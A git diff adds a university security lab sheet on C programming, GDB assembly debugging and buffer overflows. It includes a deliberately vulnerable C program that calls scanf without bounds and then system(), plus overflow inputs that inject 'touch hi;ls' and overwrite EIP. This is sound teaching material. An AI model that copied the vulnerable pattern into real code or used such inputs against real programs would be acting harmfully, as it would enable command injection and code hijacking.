Enhance edit highlight processing in lab content
- Improved handling of ==edit:== syntax to avoid interference from block-level elements, ensuring accurate highlighting in various contexts. - Added support for HTML-encoded quotes and refined regex patterns to address common issues caused by syntax highlighting in code blocks. - Introduced a troubleshooting guide for future issues related to edit highlights, detailing common patterns and debugging steps. - Updated CSS to include Ruby language support for better code block labeling.
888
_labs/software_security_exploitation/1_c_asm_iof.md
Normal file
@@ -0,0 +1,888 @@
|
||||
---
|
||||
title: "Understanding Software Vulnerabilities: C, Debugging Assembly, and Buffer Overflows"
|
||||
author: ["Z. Cliffe Schreuders", "Tom Shaw"]
|
||||
license: "CC BY-SA 4.0"
|
||||
description: "Learn fundamental software vulnerability concepts through C programming, assembly debugging, and buffer overflow exploitation. Master GDB debugging, understand stack structure, and practice secure coding techniques."
|
||||
overview: |
|
||||
This lab provides an introduction to the fundamental concepts of software vulnerabilities, programming in C, and debugging assembly code. It emphasizes the importance of secure coding and understanding the potential security flaws that can arise due to programming errors. You will learn how small programming mistakes can result in software vulnerabilities with serious consequences, exploring two main categories of software flaws: design problems and implementation problems. Common programming errors leading to security flaws, such as memory errors, input handling, and misuse of pointers and strings, will be discussed.
|
||||
|
||||
You will dive into programming in C, debugging assembly code using GDB, and understanding the stack structure in memory. You will create and compile simple C programs, explore the basics of assembly code, and learn to use GDB for debugging. The lab includes practical tasks, such as writing and running C programs, analyzing assembly code, and identifying security vulnerabilities in the code. You'll experiment with different inputs to understand how software vulnerabilities can be exploited and how to fix them, using secure coding practices. By the end of the lab, you will have a better grasp of software vulnerabilities and the tools and techniques for identifying and addressing them in C programs.
|
||||
|
||||
Overall, this lab serves as a foundational module for understanding software security, highlighting the critical role of secure coding practices and the potential consequences of software vulnerabilities.
|
||||
|
||||
In your home directory you will find some binaries that you need to reverse engineer in order to determine the password that the program expects. Once you have found the password, run the program and enter the password to receive the flag.
|
||||
tags: ["software-security", "c-programming", "assembly", "buffer-overflow", "gdb", "debugging", "vulnerabilities"]
|
||||
categories: ["software_security_exploitation"]
|
||||
lab_sheet_url: "https://docs.google.com/document/d/1AxTve1RBzqvdPxt8Wziga2x2e3lZp4k5YsMq3KxkXzM/edit?usp=sharing"
|
||||
type: ["ctf-lab", "lab-sheet"]
|
||||
difficulty: "intermediate"
|
||||
cybok:
|
||||
- ka: "SS"
|
||||
topic: "Categories of Vulnerabilities"
|
||||
keywords: ["Integer overflow"]
|
||||
- ka: "SS"
|
||||
topic: "Prevention of Vulnerabilities"
|
||||
keywords: ["language design and type systems"]
|
||||
---
|
||||
|
||||
|
||||
## Revision note {#revision-note}
|
||||
|
||||
> Tip: This lab includes fundamental concepts vital to later labs in this module, some may be revision.
|
||||
|
||||
## Introduction to programming errors {#introduction-to-programming-errors}
|
||||
|
||||
It is hard to write secure code. Small programming mistakes can result in software vulnerabilities with serious consequences. The two main categories of software flaws are those caused by:
|
||||
|
||||
* *design problems*: such as, a programmer not thinking through the kind of authentication required
|
||||
|
||||
* *implementation problems*: such as, a programmer accidentally introducing a bug by using an insecure library method or trying to store too much data into a variable
|
||||
|
||||
Common programming errors that lead to security flaws include:
|
||||
|
||||
* Memory errors and bounds checking, such as buffer overflows
|
||||
|
||||
* Using input without sanitising it: this can lead to flaws such as command injection
|
||||
|
||||
* Race conditions (problems caused by the timing of events)
|
||||
|
||||
* Misconfigured/used access controls and other security mechanisms
|
||||
|
||||
* Misuse of pointers and strings
|
||||
|
||||
## Programming in C and Debugging Assembly {#programming-in-c-and-debugging-assembly}
|
||||
|
||||
C is an important programming language. C is one of the most widely used programming languages of all time. C was designed for programming Unix, and is used for the Linux kernel, amongst many other high profile software projects. C code maps well to machine code instructions, yet is easier to maintain than assembly code. Assembly code is essentially made up of low-level instructions that get assembled into machine code instructions, which are executed by a CPU.
|
||||
|
||||
However, since C is a relatively low-level language, which exposes the complexity of underlying systems (such as memory management), and since it does not have all of the security features included in newer languages, programs written in C (and C++) tend to be prone to many security flaws. This makes C a good choice when studying software security, and to get an understanding of software vulnerabilities.
|
||||
|
||||
### Hello, world! {#hello-world}
|
||||
|
||||
Let's start by writing, compiling, and running a very basic C program.
|
||||
|
||||
==action: Open a terminal console==.
|
||||
|
||||
==action: Move to a new directory for our code:==
|
||||
|
||||
```bash
|
||||
mkdir ~/code
|
||||
```
|
||||
|
||||
```bash
|
||||
cd ~/code
|
||||
```
|
||||
|
||||
==action: Create and edit a new file "hello.c":==
|
||||
|
||||
```bash
|
||||
vi hello.c
|
||||
```
|
||||
|
||||
> Note: **Reminder**: Vi is 'modal': it has an insert mode, where you can type text into the file, and normal mode, where what you type is interpreted as commands. ==action: Press the "i" key to enter "insert mode"==. ==action: Type the below C code:==
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
int main() {
|
||||
printf("Hello, world!\n");
|
||||
}
|
||||
```
|
||||
|
||||
==action: Exit back to "normal mode" by pressing the Esc key==. Now to ==action: exit and save the file press the ":" key, followed by "wq" (write quit), and press Enter==.
|
||||
|
||||
> Tip: Alternatively if you want to copy and paste, rather than using vi, run "cat > hello.c" and paste into the terminal, then press Ctrl-D to end the file.
|
||||
|
||||
==action: Compile your code:==
|
||||
|
||||
```bash
|
||||
gcc hello.c -g -m32 -o helloworld
|
||||
```
|
||||
|
||||
And again with some options to make the assembly simpler to understand:
|
||||
|
||||
```bash
|
||||
gcc hello.c -g -m32 -mpreferred-stack-boundary=2 -fno-pie -o helloworld_simplified
|
||||
```
|
||||
|
||||
> Note: The arguments here are the file to compile (hello.c), the "-g" flag instructs the compiler to include debugging information, which makes examining the compiled program easier, as the source code is made available from within the debugger (without requiring any reverse engineering).
|
||||
|
||||
> Note: The "-m32" flag tells gdb to generate a 32 bit executable, which will make it more likely that your system will generate similar assembly to these examples.
|
||||
|
||||
> Note: The "-mpreferred-stack-boundary=2" disables some stack alignment optimisations.
|
||||
|
||||
> Note: The "-fno-pie" disables position-independent execution, which is used for layout randomisation.
|
||||
|
||||
> Note: Finally, "-o" is used to specify what filename to output to, in this case to an executable named "helloworld".
|
||||
|
||||
==action: Confirm this has generated the compiled programs "helloworld" and "helloworld_simplified"):==
|
||||
|
||||
```bash
|
||||
ls -la
|
||||
```
|
||||
|
||||
==action: Run the program:==
|
||||
|
||||
```bash
|
||||
./helloworld
|
||||
```
|
||||
|
||||
Note that in *modern* C, comments can be written as either
|
||||
```c
|
||||
/* comment */
|
||||
```
|
||||
or
|
||||
```c
|
||||
// comment
|
||||
```
|
||||
|
||||
==action: Edit the file to add comments describing each line:==
|
||||
|
||||
```c
|
||||
// this first line of code below imports code from elsewhere,
|
||||
// which is what gives us use of the printf() function
|
||||
#include <stdio.h>
|
||||
// this is the start of the main function,
|
||||
// which is the code that starts when the program is run
|
||||
int main() {
|
||||
// this line calls the printf function, and passes it
|
||||
// the string of characters "Hello, world!"
|
||||
// which it prints to the standard out (console)
|
||||
// \n inserts a new line
|
||||
// ; ends a line of code
|
||||
printf("Hello, world!\n");
|
||||
// this ends the main function
|
||||
}
|
||||
```
|
||||
|
||||
==action: Compile and run your new code, confirming that it has not changed the behaviour of the program==.
|
||||
|
||||
### Debugging code using GDB {#debugging-code-using-gdb}
|
||||
|
||||
A debugger is a program that can be used to test other programs, and to "debug" the program by inspecting the state of the program, while stepping through code.
|
||||
|
||||
Before we run GDB for the first time, we will change some configuration settings so our programs are disassembled using the Intel notation (GDB defaults to AT&T).
|
||||
|
||||
==action: Run:==
|
||||
|
||||
```bash
|
||||
vi ~/.gdbinit
|
||||
```
|
||||
|
||||
==action: Add the following line:==
|
||||
|
||||
```
|
||||
set disassembly-flavor intel
|
||||
```
|
||||
|
||||
==action: Save and close the file==.
|
||||
|
||||
Start gdb with the "GDB Text User Interface" enabled. The GDB TUI is an interactive console interface that shows various views at once. The C source code, resulting assembly instructions, registers, and GDB commands can be displayed in separate text-based windows.
|
||||
|
||||
```bash
|
||||
gdb -tui ./helloworld_simplified
|
||||
```
|
||||
|
||||
> Note: (Press Enter to scroll through the welcome messages)
|
||||
|
||||
The resulting view includes the original C code, and below that the interactive console, which you type commands into.
|
||||
|
||||
![][image-3]
|
||||
|
||||
==action: Start by changing views, to also show assembly instructions:==
|
||||
|
||||
```
|
||||
(gdb) layout split
|
||||
```
|
||||
|
||||
The C code and assembly instructions are now both shown at once:
|
||||
|
||||
![][image-4]
|
||||
|
||||
The assembly code is a very low-level representation of the program. Assembly code is close to a one-to-one representation of the actual machine code that is executed by the CPU when the program runs.
|
||||
|
||||
Here we can see *exactly* what actions the program will attempt. Although many programmers don’t bother to understand the assembly that their C code produces, **these details are important** for understanding certain important kinds of software vulnerabilities, such as buffer overflows.
|
||||
|
||||
In this very small program, the *main* function only involves a few instructions.
|
||||
|
||||
The first few instructions in the main function make up the *function prologue*. The function prologue sets up the stack for this function.
|
||||
|
||||
The call stack (or simply “the stack”) is an area of memory used to keep track of program execution (such as, remembering which code to return to after each function ends). Every time a function is called, a new stack *frame* is added to the stack for that function.
|
||||
|
||||
The stack stores for a function:
|
||||
|
||||
* parameters: information passed into the function
|
||||
* local variables for the function (for example, strings) – note that sometimes the compiler may use registers for local variables (such as integers) rather than stack memory
|
||||
* The return address (where to return execution to when the function ends)
|
||||
|
||||
![][image-5]
|
||||
*The call stack (image CC BY-SA by [R. S. Shaw](http://commons.wikimedia.org/wiki/User:R._S._Shaw): [http://en.wikipedia.org/wiki/File:Call\_stack\_layout.svg](http://en.wikipedia.org/wiki/File:Call_stack_layout.svg))*
|
||||
|
||||
So, looking at the assembly for our hello world program, let's take some time to understand the purpose of each instruction in the standard function prologue (this appears at the start of every function):
|
||||
|
||||
```nasm
|
||||
push ebp
|
||||
mov ebp, esp
|
||||
```
|
||||
|
||||
The function prologue starts by **push**ing the base pointer register onto the stack (saving the stack base pointer from the calling function for later). Note that the stack is a FILO (first in last out) data structure (and a “pop” instruction returns data from the top of the stack). Like a stack of dinner plates, the first one you put in is the last you get out.
|
||||
|
||||
Next, the **mov** instruction overwrites the base pointer register (ebp) with the value from the stack pointer register (esp). This sets the bottom of the new current stack frame, as stored in ebp.
|
||||
|
||||
*EBP: base pointer \- bottom of the current stack frame*
|
||||
|
||||
The result is that the stack pointer has been moved to a lower memory address (if things weren’t interesting enough, the stack grows downward on most platforms\! \- So the address at the top of the stack (esp) is a lower number than at the bottom (ebp)).
|
||||
|
||||
*ESP: stack pointer \- top of the current stack frame*
|
||||
|
||||
The next few instructions provide the actual functionality of our program, by calling printf to display our message:
|
||||
|
||||
```nasm
|
||||
push 0x2008
|
||||
call 0x11a2 <main+9>
|
||||
```
|
||||
|
||||
The push instruction copies the value 0x2008, placing a pointer to our string onto the top of the stack. This in effect passes the address of the string “Hello, world\!”, into the function. Then **call**s the printf (or puts) function.
|
||||
|
||||
The next two instructions allow the main function to return a success value of 0, and reset the esp by adding 0x4 to it (effectively shrinking it since the stack grows downwards).
|
||||
|
||||
The last few instructions make up the function epilogue, which simply ends this program:
|
||||
|
||||
```nasm
|
||||
leave
|
||||
ret
|
||||
```
|
||||
|
||||
So to summarise:
|
||||
|
||||
```nasm
|
||||
0x1199 <main> push ebp ; prologue - save base ptr
|
||||
0x119a <main+1> mov ebp,esp ; prologue - set new base
|
||||
0x119c <main+3> push 0x2008 ; push the msg as param
|
||||
0x11a1 <main+8> call 0x11a2 <main+9> ; call print msg
|
||||
0x11a6 <main+13> add esp,0x4 ; return the esp value
|
||||
0x11a9 <main+16> mov eax,0x0 ; function returns 0
|
||||
0x11ae <main+21> leave ; epilogue
|
||||
0x11af <main+22> ret ; epilogue
|
||||
```
|
||||
|
||||
The focus (or "fs") command can be used to switch to focusing on a particular view for scrolling keystrokes. You can switch focus to "src" for source, "cmd" for commands, "regs" for registers, or "asm" for the assembly view (or "next"/"prev"). ==action: Switch focus to the command window:==
|
||||
|
||||
```
|
||||
(gdb) focus cmd
|
||||
```
|
||||
|
||||
From within the debugger you can run the program, using the command "run" (or "r"):
|
||||
|
||||
```
|
||||
(gdb) run
|
||||
```
|
||||
|
||||
> Note: Note that the program runs, and finishes before we have a chance to investigate.
|
||||
|
||||
==action: Set a breakpoint, so the program pauses as soon as the main function starts:==
|
||||
|
||||
```
|
||||
(gdb) break main
|
||||
```
|
||||
|
||||
==action: Restart the program:==
|
||||
|
||||
```
|
||||
(gdb) run
|
||||
```
|
||||
|
||||
The program will pause, and the views of code will indicate the function prologue has completed and the code is sitting at line 3, the printf statement and push instruction.
|
||||
|
||||
The next instruction is set to push some data to the stack.
|
||||
|
||||
==action: View the value in that memory location: (the x command displays a value from memory, x/s prints the memory contents as a string):==
|
||||
|
||||
```
|
||||
(gdb) x/s ==edit:memory_address_from_push==
|
||||
```
|
||||
|
||||
==action: Now, instruct gdb to execute the next assembly instruction:==
|
||||
|
||||
```
|
||||
(gdb) stepi
|
||||
```
|
||||
|
||||
> Note: Note that you can step through C lines using "step", but since our whole program is one line, that would bring us to the end; so we use "stepi", which steps one assembly instruction at a time.
|
||||
|
||||
The printf function is provided by the glibc libraries, which are dynamically loaded when the program started (or in this case when GDB loaded the program). This involves quite a bit of code.
|
||||
|
||||
==action: Enable the registers view:==
|
||||
|
||||
```
|
||||
(gdb) fs asm
|
||||
```
|
||||
|
||||
```
|
||||
(gdb) layout regs
|
||||
```
|
||||
|
||||
```
|
||||
(gdb) focus cmd
|
||||
```
|
||||
|
||||
> Note: (Layout regs places the register view over the window you are not focused on, so this ensures you end up with the assembly and registers view).
|
||||
|
||||
==action: Step through the printf code by running:==
|
||||
|
||||
```
|
||||
(gdb) stepi
|
||||
```
|
||||
|
||||
```
|
||||
(gdb) frame info
|
||||
```
|
||||
|
||||
> Note: Run stepi many times, and note the esp moves each time a function is called, and that each call has a function prologue. The ebp stays the same.
|
||||
|
||||
Another register you will notice changing a lot is **eip**, the instruction pointer. The instruction pointer refers to the location of the *next* instruction that the CPU will run. We will return to this very important detail later.
|
||||
|
||||
*EIP: address of next instruction*
|
||||
|
||||
When you have finished analysing the assembly of our hello world program, ==action: you can exit the debugger==.
|
||||
|
||||
```
|
||||
(gdb) quit
|
||||
```
|
||||
|
||||
### Debugging main functions {#debugging-main-functions}
|
||||
|
||||
Load up the un-simplified version of the program into gdb, so we can see what a main function assembly often looks like.
|
||||
|
||||
The main function has some extra instructions that we don’t really need to worry about most of the time, but you will see extra code in the main function used to align the stack, so here is an overview. The compiler aligns the stack pointer on a 16 byte boundary, because certain instructions' memory access needs to be aligned that way, and it also provides a speed improvement related to caching.
|
||||
|
||||
This additional code is typically related to stack alignment (an optimisation around the starting position for where on the stack the values are placed), and to support position-independent executables (PIE). The \_\_x86.get\_pc\_thunk.ax function is used to accommodate PIE, which means the program machine code can be loaded at any address in virtual memory and it will still be able to run. PIE means the program can support address space layout randomization (ASLR), which randomises the layout for increased security, as it makes exploitation of memory vulnerabilities more difficult (which we will cover in detail in a later topic).
|
||||
|
||||
```nasm
|
||||
0x1199 <main> lea ecx,[esp+0x4]
|
||||
0x119d <main+4> and esp,0xfffffff0
|
||||
0x11a0 <main+7> push DWORD PTR [ecx-0x4]
|
||||
0x11a3 <main+10> push ebp ; function prologue
|
||||
0x11a4 <main+11> mov ebp,esp ; function prologue
|
||||
0x11a6 <main+13> push ebx
|
||||
0x11a7 <main+14> push ecx
|
||||
0x11a8 <main+15> call 0x11d5 <__x86.get_pc_thunk.ax> ; pie
|
||||
0x11ad <main+20> add eax,0x2e53
|
||||
0x11b2 <main+25> sub esp,0xc
|
||||
0x11b5 <main+28> lea edx,[eax-0x1ff8]
|
||||
0x11bb <main+34> push edx
|
||||
0x11bc <main+35> mov ebx,eax
|
||||
0x11be <main+37> call 0x1030 <puts@plt> ; calls print msg
|
||||
0x11c3 <main+42> add esp,0x10
|
||||
0x11c6 <main+45> mov eax,0x0
|
||||
0x11cb <main+50> lea esp,[ebp-0x8]
|
||||
0x11ce <main+53> pop ecx
|
||||
0x11cf <main+54> pop ebx
|
||||
0x11d0 <main+55> pop ebp
|
||||
0x11d1 <main+56> lea esp,[ecx-0x4]
|
||||
0x11d4 <main+59> ret
|
||||
```
|
||||
|
||||
Note that a lot of the optimisation “artefacts” are mostly present in the main function, and that once the stack is aligned, subsequent function calls will be simpler, more like our simplified example above.
|
||||
|
||||
### Variables and C {#variables-and-c}
|
||||
|
||||
A variable is a buffer (some memory) for storing data, such as input from a user. In C, variables should be defined at the start of a function, before any other code.
|
||||
|
||||
==action: Create and edit a new file "variables.c":==
|
||||
|
||||
```bash
|
||||
vi variables.c
|
||||
```
|
||||
|
||||
==action: Enter the below C code:==
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
int main() {
|
||||
int num1, num2, sum;
|
||||
num1 = 10;
|
||||
num2 = 15;
|
||||
sum = num1 + num2;
|
||||
printf("The sum of %d and %d is: %d\n", num1, num2, sum);
|
||||
}
|
||||
```
|
||||
|
||||
The first few lines define some variables that are Integers (int), that is, they only store whole numbers, and then assign them some values (=). The two numbers are added together (+), storing the result in the “sum” variable, and finally the result is printed.
|
||||
|
||||
Note that the use of printf is more complex in this example: the first argument ("*The sum of %d and %d is: %d\\n*") is actually a *format string*, which is a template used to create the text to output. The “%d” token tells printf to take the next argument and format it as an Integer (%d: integer, %f: double, %s: string). The first %d is replaced with num1, and the next num2, and so on.
|
||||
|
||||
For more information about printf, you may wish to refer to:
|
||||
|
||||
```bash
|
||||
man 3p printf
|
||||
```
|
||||
|
||||
or [http://en.wikipedia.org/wiki/Printf_format_string](http://en.wikipedia.org/wiki/Printf_format_string)
|
||||
|
||||
==action: Compile your code:==
|
||||
|
||||
```bash
|
||||
gcc variables.c -g -m32 -mpreferred-stack-boundary=2 -o vars
|
||||
```
|
||||
|
||||
==action: Confirm this has generated the compiled program "vars":==
|
||||
|
||||
```bash
|
||||
ls -la
|
||||
```
|
||||
|
||||
==action: Run the program:==
|
||||
|
||||
```bash
|
||||
./vars
|
||||
```
|
||||
|
||||
**Reading input and testing conditions**
|
||||
|
||||
==action: Create and edit a new file "input.c":==
|
||||
|
||||
```bash
|
||||
vi input.c
|
||||
```
|
||||
|
||||
==action: Enter the below C code:==
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
int main() {
|
||||
int num1, num2, sum;
|
||||
printf("Please enter a number:\n>");
|
||||
scanf( "%d", &num1 );
|
||||
num2 = 15;
|
||||
sum = num1 + num2;
|
||||
printf("The sum of %d and %d is: %d\n", num1, num2, sum);
|
||||
if(sum > 100) {
|
||||
printf("The sum is greater than 100\n");
|
||||
} else {
|
||||
printf("The sum is less than or equal to 100\n");
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
==action: **Compile and run your code**==.
|
||||
|
||||
The main differences here are:
|
||||
|
||||
* The inclusion of scanf, which reads user input into a variable, based on the format string. In this case, scanf reads an *integer* into num1, since the format string specifies “%d”.
|
||||
|
||||
* The if statement, which branches the code, depending on whether the “sum \> 100” condition is met. Other test conditions that could be used include “==” does it equal, “\<” less than, “\<=” less than or equal to, “\!=” not equal to.
|
||||
|
||||
==action: Modify your code to have the user input ***three*** numbers, and calculate the **product** (multiply). Tell the user whether the product is less than 50==.
|
||||
|
||||
==action: Test your code:==
|
||||
|
||||
> Question: Does your code work with the numbers: 1, 2, and 3?
|
||||
|
||||
> Question: 1, 2, and 0?
|
||||
|
||||
> Question: Does it work when the result is a real number, with decimal places? If not, why not?
|
||||
|
||||
> Question: What is an integer overflow?
|
||||
|
||||
> Question: What happens if the user enters a very very big or small number?
|
||||
|
||||
> Question: What about if the user enters a letter?
|
||||
|
||||
==action: If you haven't done so already, update your code to store the input and product in a "double" (real number), rather than using "int" (integers)==.
|
||||
|
||||
==action: Compile and test your code==.
|
||||
|
||||
> Hint: you will need to change the printf and scanf format string. "%d" is used for integers (whole numbers). [This link](http://www.cdf.toronto.edu/~ajr/209/notes/printf.html) may be helpful.
|
||||
|
||||
## Security flaws: type safety, bounds checking, and buffer overflows {#security-flaws-type-safety-bounds-checking-and-buffer-overflows}
|
||||
|
||||
As you have seen from the testing you have just completed, it is easy to make simple mistakes that result in a program misbehaving. Sometimes simple coding errors can result in more serious problems, such as introducing security vulnerabilities.
|
||||
|
||||
==action: Create and edit a new file "testerr.c":==
|
||||
|
||||
```bash
|
||||
vi testerr.c
|
||||
```
|
||||
|
||||
==action: Enter the below C code:==
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
int main() {
|
||||
char execute [15] = "ls";
|
||||
char name [10];
|
||||
printf("What is your name?\n");
|
||||
scanf("%[^\n]s", &name);
|
||||
printf("Hello %s, executing the command %s\n"
|
||||
"The files in the dir are:\n", name, execute);
|
||||
sleep(2);
|
||||
system(execute);
|
||||
}
|
||||
```
|
||||
|
||||
> Tip: An alternative is to use the line "gets((char*)&name);" in place of the scanf line. Both versions will have similar security problems.
|
||||
|
||||
> Tip: Technically you don't need the ampersand (&) in the scanf format string when the variable you are writing into is an array, so newer versions may complain, if so, remove the '&'.
|
||||
|
||||
> Note: The line "scanf("%[^\n]s", &name);" reads any input, accepting anything except a newline. "[^\n]" is a regular expression, which represents any character except \n (a newline). As specified, scanf() stores into the variable "name".
|
||||
|
||||
==action: Compile your code:==
|
||||
|
||||
```bash
|
||||
gcc testerr.c -g -m32 -mpreferred-stack-boundary=2 -o testerr
|
||||
```
|
||||
|
||||
==action: Run the program:==
|
||||
|
||||
```bash
|
||||
./testerr
|
||||
```
|
||||
|
||||
> Question: Can you already spot the security issue in this code?
|
||||
|
||||
==action: Test this program, by running it a few times and try entering different inputs==.
|
||||
|
||||
> Question: Does it work normally if you enter your own name?
|
||||
|
||||
> Question: What happens if you enter an input that is very long?
|
||||
|
||||
==action: Try entering:==
|
||||
|
||||
```
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
```
|
||||
|
||||
![][image-6]
|
||||
*Testing and breaking the program*
|
||||
|
||||
As shown above, when you enter an input that is long, this program starts to behave incorrectly. It is even apparent from the above that the “execute” variable seems to have changed\! Woah… This looks like trouble\!
|
||||
|
||||
> Tip: If you do not see this behaviour, follow the previous tip regarding using gets rather than scanf, and recompile.
|
||||
|
||||
==action: Run the program again, and try entering 10 "A"s, followed by "touch hi;ls" (as shown below)==.
|
||||
|
||||
![][image-7]
|
||||
*Subverting the behaviour of the program*
|
||||
|
||||
==action: Confirm you have tricked the program into creating a new file called "hi":==
|
||||
|
||||
```bash
|
||||
ls -la
|
||||
```
|
||||
|
||||
> Note: You may need to adjust the number of As, so that your command is correctly written to the "execute" variable.
|
||||
|
||||
At first glance the code looks innocent enough, but as a result of a potential programming mistake the user can gain control of another variable, and alter the way the program behaves.
|
||||
|
||||
So what is happening?
|
||||
|
||||
The two variables get positioned together on the stack, one next to the other. It is up to the compiler to decide which order they appear on the stack, but during my tests, they were positioned as follows:
|
||||
|
||||
| name | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | execute | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 |
|
||||
| ----- | ----: | ----: | ----: | ----: | ----: | ----: | ----: | ----: | ----: | ----: | ----: | ----: | ----: | ----: | ----: | ----: | ----: | ----: | ----: | ----: | ----: | ----: | ----: | ----: | ----: | ----: | ----: | ----: | ----: |
|
||||
| | | | | | | | | | | | | l | s | \\0 | | | | | | | | | | |
|
||||
|
||||
Note that in C, a string is simply an **array** of characters, so name\[0\] refers to the first letter, name\[1\] the second and so on. A C string is terminated with a ‘\\0’ character (null). So for example, as shown above, the value we set for the execute variable is followed by a null character.
|
||||
|
||||
If the user does as expected and just enters a short name, our variables contain values such as:
|
||||
|
||||
| name | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | execute | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 |
|
||||
| ----- | ----: | ----: | ----: | ----: | ----: | ----: | ----: | ----: | ----: | ----: | ----: | ----: | ----: | ----: | ----: | ----: | ----: | ----: | ----: | ----: | ----: | ----: | ----: | ----: | ----: | ----: | ----: | ----: | ----: |
|
||||
| | C | l | i | f | f | e | \\0 | | | | | l | s | \\0 | | | | | | | | | | |
|
||||
|
||||
However, our code did not instruct scanf how many characters to read from the user, so scanf() will obligingly read as many characters as the user enters, and writes them into the name buffer. Our example of entering 10 “A”s, followed by “touch iwashere;ls” results in the simplest form of a buffer overflow. A ***buffer overflow*** is when a buffer overflows into other memory. In this case one buffer overflows into an adjacent variable.
|
||||
|
||||
The result is:
|
||||
|
||||
| name | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | execute | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 |
|
||||
| ----- | ----: | ----: | ----: | ----: | ----: | ----: | ----: | ----: | ----: | ----: | ----: | ----: | ----: | ----: | ----: | ----: | ----: | ----: | ----: | ----: | ----: | ----: | ----: | ----: | ----: | ----: | ----: | ----: | ----: |
|
||||
| | A | A | A | A | A | A | A | A | A | A | | t | o | u | c | h | | h | i | ; | l | s | \\0 |
|
||||
|
||||
And now from the printf() call on line 7:
|
||||
|
||||
* printing name gives us “AAAAAAAAAAtouch iwashere;ls”, since execute\[11\] is the first null character since the start of name
|
||||
|
||||
* printing execute gives us “touch hi;ls”
|
||||
|
||||
The ability to overwrite data that the programmer does not think the user can control can result in massive security consequences. In this example, the user can subvert the behaviour of the program to execute any command (within some length constraints).
|
||||
|
||||
==action: Confirm this using GDB:==
|
||||
|
||||
```bash
|
||||
echo "Bob" > test-input1
|
||||
```
|
||||
|
||||
```bash
|
||||
echo "AAAAAAAAAAtouch hi;ls" > test-input2
|
||||
```
|
||||
|
||||
```bash
|
||||
echo "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" > test-input3
|
||||
```
|
||||
|
||||
```bash
|
||||
gdb -tui ./testerr
|
||||
```
|
||||
|
||||
```
|
||||
(gdb) layout split
|
||||
```
|
||||
|
||||
```
|
||||
(gdb) fs cmd
|
||||
```
|
||||
|
||||
```
|
||||
(gdb) break main
|
||||
```
|
||||
|
||||
==action: Debug the program, feeding in out test input:==
|
||||
|
||||
```
|
||||
(gdb) run < test-input2
|
||||
```
|
||||
|
||||
==action: Step into the code (to the next line of C code), setting the local variables:==
|
||||
|
||||
```
|
||||
(gdb) step
|
||||
```
|
||||
|
||||
==action: Print the value and then the memory address of the execute variable:==
|
||||
|
||||
```
|
||||
(gdb) print execute
|
||||
```
|
||||
|
||||
```
|
||||
(gdb) print &execute
|
||||
```
|
||||
|
||||
==action: Display the value stored at that memory address (the GDB x command), and output in the form of a string (/s):==
|
||||
|
||||
```
|
||||
(gdb) x/s ==edit:0xffffd211==
|
||||
```
|
||||
|
||||
> Note: (Where ==edit:0xffffd211== is from the output from the above "print &execute" command)
|
||||
|
||||
==action: Print the memory address of the name variable:==
|
||||
|
||||
```
|
||||
(gdb) print &name
|
||||
```
|
||||
|
||||
==action: Use a scientific (numerical system mode) calculator to confirm that:==
|
||||
|
||||
> Note: (hex) ==edit:0xffffd211== - ==edit:0xffffd207== = 10 (base 10) (or hex 0xa).
|
||||
|
||||
> Note: (Where ==edit:0xffffd207== is from the output from the above "print &name" command)
|
||||
|
||||
> Hint: in another terminal tab or window, run "kcalc &". Ctrl+Shift+N in Konsole
|
||||
|
||||
> Note: Therefore, you can conclude the two buffers are in adjacent locations of memory, and 10 bytes are reserved for the name buffer, as expected.
|
||||
|
||||
==action: Continuing from above, step into the code (the next two lines of C code) that reads the input:==
|
||||
|
||||
```
|
||||
(gdb) step
|
||||
```
|
||||
|
||||
```
|
||||
(gdb) step
|
||||
```
|
||||
|
||||
==action: After the input has been processed, re-display the contents of the execute variable:==
|
||||
|
||||
```
|
||||
(gdb) print execute
|
||||
```
|
||||
|
||||
```
|
||||
(gdb) x/s ==edit:0xffffd211==
|
||||
```
|
||||
|
||||
> Note: (Where ==edit:0xffffd211== is from the output from the previous "print &execute")
|
||||
|
||||
```
|
||||
(gdb) print name
|
||||
```
|
||||
|
||||
```
|
||||
(gdb) x/s ==edit:0xffffd207==
|
||||
```
|
||||
|
||||
> Note: (Where ==edit:0xffffd207== is from the output from the previous "print &name")
|
||||
|
||||
## Stack smashing buffer overflows {#stack-smashing-buffer-overflows}
|
||||
|
||||
In the previous example the data overwritten was another variable, changing the behaviour of the program. It is also possible to overwrite the return pointer that is stored on the stack as part of the function prologue, so that we overwrite the EIP register and therefore change the next code that is executed, effectively making the program jump to executing a different set of instructions. This type of attack is known as a ***stack smashing*** buffer overflow and is one of the most common and critical kinds of software vulnerabilities.
|
||||
|
||||
==action: Continuing from above:==
|
||||
|
||||
```
|
||||
(gdb) layout regs
|
||||
```
|
||||
|
||||
```
|
||||
(gdb) disable breakpoints
|
||||
```
|
||||
|
||||
```
|
||||
(gdb) run < test-input3
|
||||
```
|
||||
|
||||
> Note: When prompted whether to restart the program, select yes.
|
||||
|
||||
```
|
||||
Program received signal SIGSEGV, Segmentation fault.
|
||||
0x41414141 in ?? ()
|
||||
```
|
||||
|
||||
Our very long input has crashed the program. Often a stack smashing buffer overflow can result in crashing the program (causing a segmentation fault). However, sometimes a far worse result can occur.
|
||||
|
||||
==action: Read the current value of the EIP register:==
|
||||
|
||||
```
|
||||
(gdb) print $eip
|
||||
$10 = (void (*)()) 0x41414141
|
||||
```
|
||||
|
||||
